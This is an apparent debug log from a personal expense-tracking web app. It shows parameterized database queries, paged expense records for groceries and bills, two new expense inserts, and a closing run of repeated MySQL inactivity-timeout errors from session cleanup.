2026-05-06T02:12:24.034Z server-connect:app Executing action step restrict
2026-05-06T02:12:24.034Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-06T02:12:24.035Z server-connect:output restrict: undefined
2026-05-06T02:12:24.035Z server-connect:app Executing action step paged
2026-05-06T02:12:24.035Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-05-06T02:12:24.038Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-05-06T02:12:24.038Z server-connect:app Executing action step identify
2026-05-06T02:12:24.038Z server-connect:app options: { provider: 'security' }
2026-05-06T02:12:24.038Z server-connect:output identity: 1
2026-05-06T02:12:24.038Z server-connect:app Executing action step restrict
2026-05-06T02:12:24.038Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-06T02:12:24.039Z server-connect:output restrict: undefined
2026-05-06T02:12:24.039Z server-connect:app Executing action step select
2026-05-06T02:12:24.039Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-05-06T02:12:24.041Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-05-06T02:12:24.050Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1958,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 12450,
      quantity: '1.00',
      purchase_date: '2026-05-04T18:30:00.000Z',
      receipt_url: null,
      remark: 'This is a desction',
      amount: '10.00',
      item_name: 'CRED EMI',
      unit: 'Pounds'
    },
    {
      invoice_number: 12450,
      quantity: '1.00',
      purchase_date: '2026-05-04T18:30:00.000Z',
      receipt_url: null,
      remark: 'This is a desction',
      amount: '110.00',
      item_name: 'Spring Roll',
      unit: 'EMI'
    },
    {
      invoice_number: 12451,
      quantity: '1.00',
      purchase_date: '2026-05-04T18:30:00.000Z',
      receipt_url: null,
      remark: 'Tet',
      amount: '111.00',
      item_name: 'Medicines',
      unit: '2'
    },
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    }
  ]
}
2026-05-06T02:12:36.328Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-05-06T02:12:36.329Z server-connect:router Serving serverConnect /api/expense/last-invoice
2026-05-06T02:12:36.329Z server-connect:app Executing action step identify
2026-05-06T02:12:36.329Z server-connect:app options: { provider: 'security' }
2026-05-06T02:12:36.329Z server-connect:output identity: 1
2026-05-06T02:12:36.329Z server-connect:app Executing action step restrict
2026-05-06T02:12:36.329Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-06T02:12:36.329Z server-connect:app Executing action step identify
2026-05-06T02:12:36.329Z server-connect:app options: { provider: 'security' }
2026-05-06T02:12:36.329Z server-connect:output identity: 1
2026-05-06T02:12:36.330Z server-connect:app Executing action step restrict
2026-05-06T02:12:36.330Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-06T02:12:36.330Z server-connect:output restrict: undefined
2026-05-06T02:12:36.330Z server-connect:app Executing action step select
2026-05-06T02:12:36.330Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-05-06T02:12:36.331Z server-connect:output restrict: undefined
2026-05-06T02:12:36.331Z server-connect:app Executing action step single
2026-05-06T02:12:36.331Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [],
    table: { name: 'expense' },
    primary: 'id',
    joins: [],
    groupBy: [],
    query: 'select max(`invoice_number`) as `max_invoice` from `expense`'
  }
}
2026-05-06T02:12:36.332Z server-connect:output list: [
  { name: 'Litres', id: 1 },
  { name: 'KG', id: 2 },
  { name: 'Piece', id: 4 },
  { name: 'Pounds', id: 5 },
  { name: 'Other', id: 11 },
  { name: 'EMI', id: 12 },
  { name: 'Premium', id: 13 },
  { name: 'GM', id: 29 },
  { name: 'Packet', id: 30 },
  { name: 'Tablet', id: 31 },
  { name: 'Strip', id: 32 },
  { name: 'Full Plate', id: 33 },
  { name: 'Half Plate', id: 34 },
  { name: 'Meter', id: 35 },
  { name: 'Bottle', id: 36 },
  { name: 'Glass', id: 37 },
  { name: 'Plate', id: 58 },
  { name: 'HW Ride-ons', id: 177 },
  { name: '2', id: 203 }
]
2026-05-06T02:12:36.333Z server-connect:output last_invoice: { max_invoice: 12451 }
2026-05-06T02:13:09.285Z server-connect:router Serving serverConnect /api/expense/manage
2026-05-06T02:13:09.287Z server-connect:app Executing action step identify
2026-05-06T02:13:09.287Z server-connect:app options: { provider: 'security' }
2026-05-06T02:13:09.287Z server-connect:output identity: 1
2026-05-06T02:13:09.287Z server-connect:app Executing action step restrict
2026-05-06T02:13:09.287Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-06T02:13:09.288Z server-connect:output restrict: undefined
2026-05-06T02:13:09.289Z server-connect:app Executing action step condition
2026-05-06T02:13:09.289Z server-connect:app options: {
  if: '{{$_POST.expense_id}}',
  then: { steps: { name: '', options: [Object] } },
  else: {
    steps: {
      name: 'repeat_expenses',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2026-05-06T02:13:09.290Z server-connect:app Executing action step repeat
2026-05-06T02:13:09.290Z server-connect:app options: {
  repeat: '{{$_POST.expense}}',
  outputFields: [ 'item', 'quantity', 'price', 'unit' ],
  exec: { steps: [ [Object], [Object], [Object] ] }
}
2026-05-06T02:13:09.290Z server-connect:app Executing action step single
2026-05-06T02:13:09.290Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'sub_categories', alias: 'sc' },
    primary: 'id',
    joins: [],
    query: 'select `id` from `sub_categories` as `sc` where `sc`.`subcategory_name` = ?',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-05-06T02:13:09.291Z server-connect:output q_item_id: { id: 49 }
2026-05-06T02:13:09.291Z server-connect:app Executing action step condition
2026-05-06T02:13:09.291Z server-connect:app options: {
  if: '{{q_item_id.id}}',
  then: {
    steps: {
      name: 'var_item_id',
      module: 'core',
      action: 'setvalue',
      options: [Object],
      meta: [],
      outputType: 'text'
    }
  },
  else: { steps: [ [Object], [Object] ] }
}
2026-05-06T02:13:09.292Z server-connect:app Executing action step setvalue
2026-05-06T02:13:09.292Z server-connect:app options: { key: 'var_item_id', value: '{{q_item_id.id}}' }
2026-05-06T02:13:09.292Z server-connect:output var_item_id: 49
2026-05-06T02:13:09.292Z server-connect:output condition: undefined
2026-05-06T02:13:09.292Z server-connect:app Executing action step insert
2026-05-06T02:13:09.292Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'expense',
    returning: 'id',
    query: 'insert into `expense` (`amount`, `category_id`, `created_on`, `invoice_number`, `purchase_date`, `quantity`, `tag_id`, `unit`, `user_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ]
  }
}
2026-05-06T02:13:09.295Z server-connect:output i_expense: { affected: 1, identity: 2078 }
2026-05-06T02:13:09.296Z server-connect:app Executing action step single
2026-05-06T02:13:09.296Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'sub_categories', alias: 'sc' },
    primary: 'id',
    joins: [],
    query: 'select `id` from `sub_categories` as `sc` where `sc`.`subcategory_name` = ?',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-05-06T02:13:09.297Z server-connect:output q_item_id: { id: 17 }
2026-05-06T02:13:09.297Z server-connect:app Executing action step condition
2026-05-06T02:13:09.297Z server-connect:app options: {
  if: '{{q_item_id.id}}',
  then: {
    steps: {
      name: 'var_item_id',
      module: 'core',
      action: 'setvalue',
      options: [Object],
      meta: [],
      outputType: 'text'
    }
  },
  else: { steps: [ [Object], [Object] ] }
}
2026-05-06T02:13:09.297Z server-connect:app Executing action step setvalue
2026-05-06T02:13:09.297Z server-connect:app options: { key: 'var_item_id', value: '{{q_item_id.id}}' }
2026-05-06T02:13:09.297Z server-connect:output var_item_id: 17
2026-05-06T02:13:09.297Z server-connect:output condition: undefined
2026-05-06T02:13:09.297Z server-connect:app Executing action step insert
2026-05-06T02:13:09.297Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'expense',
    returning: 'id',
    query: 'insert into `expense` (`amount`, `category_id`, `created_on`, `invoice_number`, `purchase_date`, `quantity`, `tag_id`, `unit`, `user_id`) values (?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ]
  }
}
2026-05-06T02:13:09.298Z server-connect:output i_expense: { affected: 1, identity: 2079 }
2026-05-06T02:13:09.298Z server-connect:output repeat_expenses: [
  { item: 'Butter Milk', quantity: '1', unit: '1', price: '20' },
  { item: 'Dahi', quantity: '500', unit: '29', price: '50' }
]
2026-05-06T02:13:09.298Z server-connect:output condition: undefined
2026-05-06T02:13:09.538Z server-connect:router Serving serverConnect /api/expense/list
2026-05-06T02:13:09.538Z server-connect:app Executing action step identify
2026-05-06T02:13:09.538Z server-connect:app options: { provider: 'security' }
2026-05-06T02:13:09.538Z server-connect:output identity: 1
2026-05-06T02:13:09.538Z server-connect:app Executing action step restrict
2026-05-06T02:13:09.538Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-06T02:13:09.539Z server-connect:output restrict: undefined
2026-05-06T02:13:09.539Z server-connect:app Executing action step paged
2026-05-06T02:13:09.539Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-05-06T02:13:09.546Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1960,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 12452,
      quantity: '1.00',
      purchase_date: '2026-05-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Butter Milk',
      unit: 'Litres'
    },
    {
      invoice_number: 12452,
      quantity: '500.00',
      purchase_date: '2026-05-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '50.00',
      item_name: 'Dahi',
      unit: 'GM'
    },
    {
      invoice_number: 12450,
      quantity: '1.00',
      purchase_date: '2026-05-04T18:30:00.000Z',
      receipt_url: null,
      remark: 'This is a desction',
      amount: '10.00',
      item_name: 'CRED EMI',
      unit: 'Pounds'
    },
    {
      invoice_number: 12450,
      quantity: '1.00',
      purchase_date: '2026-05-04T18:30:00.000Z',
      receipt_url: null,
      remark: 'This is a desction',
      amount: '110.00',
      item_name: 'Spring Roll',
      unit: 'EMI'
    },
    {
      invoice_number: 12451,
      quantity: '1.00',
      purchase_date: '2026-05-04T18:30:00.000Z',
      receipt_url: null,
      remark: 'Tet',
      amount: '111.00',
      item_name: 'Medicines',
      unit: '2'
    },
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    }
  ]
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 02:20:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 02:20:17' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 04:20:18' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 04:20:18' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 05:56:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 05:56:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 08:40:19' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-06 08:40:19' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-06 09:47:20' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
